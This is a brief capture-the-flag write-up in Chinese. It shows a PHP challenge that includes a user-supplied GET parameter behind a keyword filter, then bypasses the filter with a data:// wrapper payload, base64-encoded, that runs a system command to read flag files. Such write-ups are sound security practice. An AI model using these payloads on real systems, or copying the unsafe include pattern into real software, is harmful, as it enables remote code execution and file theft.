源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
发现过滤了php和file,php和file伪协议都不能用了,继续用data伪协议
?c=data://text/plain,<?php system("cat f*")?>
发现什么都没有显示, 原因是php被过滤,使用base64编码就好了
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiA=